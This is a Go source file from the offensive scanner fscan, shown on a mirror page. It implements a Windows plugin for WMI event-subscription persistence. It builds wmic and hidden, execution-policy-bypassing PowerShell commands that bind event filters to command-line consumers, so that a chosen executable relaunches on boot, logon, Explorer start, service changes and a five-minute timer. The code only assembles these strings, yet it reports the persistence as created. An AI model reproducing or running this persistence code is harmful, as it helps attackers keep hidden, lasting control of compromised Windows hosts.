mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
8f54702c02
经Linus式架构审计，发现并修复插件系统中的具体问题： ## 核心修复 ### 1. 消除local插件GetPorts()方法冗余 - 删除21个local插件中无意义的GetPorts()方法 - 简化local.Plugin接口：移除端口概念 - 理由：本地插件不涉及网络，端口概念完全多余 ### 2. 消除web插件GetPorts()方法冗余 - 删除2个web插件中无用的GetPorts()方法 - 简化web.WebPlugin接口：专注智能HTTP检测 - 理由：Web插件使用动态HTTP检测，预定义端口无价值 ### 3. 统一插件命名规范 - 统一所有插件接口使用Name()方法（符合Go惯例） - 消除GetName()与Name()不一致问题 - 简化适配器：不再需要方法名转换 ## 技术改进 接口精简： - local插件：GetName() + GetPorts() → Name() - web插件：GetName() + GetPorts() → Name() - services插件：GetName() → Name()（保留GetPorts()，业务必需） 代码减少： - 删除23个无用GetPorts()方法 - 重命名52个Name()方法 - 简化3个插件接口定义 ## 影响范围 修改文件：55个插件文件 代码变更：-155行 +61行（净减少94行） 功能影响：零破坏性，保持所有业务逻辑不变 这是基于业务需求分析的精准重构，消除真正多余的部分， 保持系统架构合理性和向后兼容性。
246 lines
8.7 KiB
Go
246 lines
8.7 KiB
Go
//go:build windows
|
|
|
|
package local
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
)
|
|
|
|
// WinWMIPlugin Windows WMI事件订阅持久化插件 - Linus式简化版本
|
|
//
|
|
// 设计哲学：直接实现，删除过度设计
|
|
// - 删除复杂的继承体系
|
|
// - 直接实现WMI事件订阅持久化功能
|
|
// - 保持原有功能逻辑
|
|
type WinWMIPlugin struct {
|
|
name string
|
|
pePath string
|
|
}
|
|
|
|
// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件
|
|
func NewWinWMIPlugin() *WinWMIPlugin {
|
|
pePath := common.WinPEFile
|
|
if pePath == "" {
|
|
pePath = ""
|
|
}
|
|
|
|
return &WinWMIPlugin{
|
|
name: "winwmi",
|
|
pePath: pePath,
|
|
}
|
|
}
|
|
|
|
// GetName 实现Plugin接口
|
|
func (p *WinWMIPlugin) Name() string {
|
|
return p.name
|
|
}
|
|
|
|
|
|
// Scan 执行Windows WMI事件订阅持久化 - 直接实现
|
|
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
|
var output strings.Builder
|
|
|
|
if runtime.GOOS != "windows" {
|
|
output.WriteString("Windows WMI事件订阅持久化只支持Windows平台\n")
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
|
}
|
|
}
|
|
|
|
if p.pePath == "" {
|
|
output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n")
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: fmt.Errorf("未指定PE文件"),
|
|
}
|
|
}
|
|
|
|
// 检查目标文件是否存在
|
|
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
|
|
output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath))
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
// 检查文件类型
|
|
if !p.isValidPEFile(p.pePath) {
|
|
output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath))
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: fmt.Errorf("无效的PE文件"),
|
|
}
|
|
}
|
|
|
|
output.WriteString("=== Windows WMI事件订阅持久化 ===\n")
|
|
output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath))
|
|
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
|
|
|
// 创建WMI事件订阅持久化
|
|
wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("创建WMI事件订阅持久化失败: %v\n", err))
|
|
return &ScanResult{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
output.WriteString(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:\n", len(wmiSubscriptions)))
|
|
for i, subscription := range wmiSubscriptions {
|
|
output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, subscription))
|
|
}
|
|
output.WriteString("\n✓ Windows WMI事件订阅持久化完成\n")
|
|
|
|
common.LogSuccess(fmt.Sprintf("Windows WMI事件订阅持久化完成: %d个项目", len(wmiSubscriptions)))
|
|
|
|
return &ScanResult{
|
|
Success: true,
|
|
Output: output.String(),
|
|
Error: nil,
|
|
}
|
|
}
|
|
|
|
// createWMIEventSubscriptions 创建WMI事件订阅
|
|
func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) {
|
|
absPath, err := filepath.Abs(pePath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("failed to get absolute path: %v", err)
|
|
}
|
|
|
|
var wmiSubscriptions []string
|
|
baseName := filepath.Base(absPath)
|
|
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
|
|
|
wmiEventConfigs := []struct {
|
|
filterName string
|
|
consumerName string
|
|
bindingName string
|
|
query string
|
|
description string
|
|
}{
|
|
{
|
|
filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt),
|
|
consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt),
|
|
bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt),
|
|
query: "SELECT * FROM Win32_SystemConfigurationChangeEvent",
|
|
description: "System Boot Event Trigger",
|
|
},
|
|
{
|
|
filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt),
|
|
consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt),
|
|
bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt),
|
|
query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'",
|
|
description: "Explorer Process Start Trigger",
|
|
},
|
|
{
|
|
filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt),
|
|
consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt),
|
|
bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt),
|
|
query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2",
|
|
description: "User Logon Event Trigger",
|
|
},
|
|
{
|
|
filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt),
|
|
consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt),
|
|
bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt),
|
|
query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'",
|
|
description: "File Creation Monitor Trigger",
|
|
},
|
|
{
|
|
filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt),
|
|
consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt),
|
|
bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt),
|
|
query: "SELECT * FROM Win32_ServiceControlEvent",
|
|
description: "Service State Change Trigger",
|
|
},
|
|
}
|
|
|
|
for _, config := range wmiEventConfigs {
|
|
filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
|
|
config.filterName, config.query)
|
|
|
|
consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
|
|
config.consumerName, absPath, absPath)
|
|
|
|
bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
|
|
config.filterName, config.consumerName)
|
|
|
|
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd))
|
|
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd))
|
|
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd))
|
|
}
|
|
|
|
timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt)
|
|
timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt)
|
|
|
|
timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
|
|
|
|
timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
|
|
timerFilterName, timerQuery)
|
|
|
|
timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
|
|
timerConsumerName, absPath, absPath)
|
|
|
|
timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
|
|
timerFilterName, timerConsumerName)
|
|
|
|
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd))
|
|
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd))
|
|
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd))
|
|
|
|
powershellWMIScript := fmt.Sprintf(`
|
|
$filterName = "PowerShellFilter_%s"
|
|
$consumerName = "PowerShellConsumer_%s"
|
|
$bindingName = "PowerShellBinding_%s"
|
|
|
|
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
|
|
Name = $filterName
|
|
EventNameSpace = "root\cimv2"
|
|
QueryLanguage = "WQL"
|
|
Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"
|
|
}
|
|
|
|
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
|
|
Name = $consumerName
|
|
CommandLineTemplate = '"%s"'
|
|
ExecutablePath = "%s"
|
|
}
|
|
|
|
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
|
|
Filter = $Filter
|
|
Consumer = $Consumer
|
|
}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath)
|
|
|
|
powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript)
|
|
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd))
|
|
|
|
return wmiSubscriptions, nil
|
|
}
|
|
|
|
// isValidPEFile 检查是否为有效的PE文件
|
|
func (p *WinWMIPlugin) isValidPEFile(filePath string) bool {
|
|
ext := strings.ToLower(filepath.Ext(filePath))
|
|
return ext == ".exe" || ext == ".dll"
|
|
}
|
|
|
|
// 注册插件
|
|
func init() {
|
|
RegisterLocalPlugin("winwmi", func() Plugin {
|
|
return NewWinWMIPlugin()
|
|
})
|
|
} |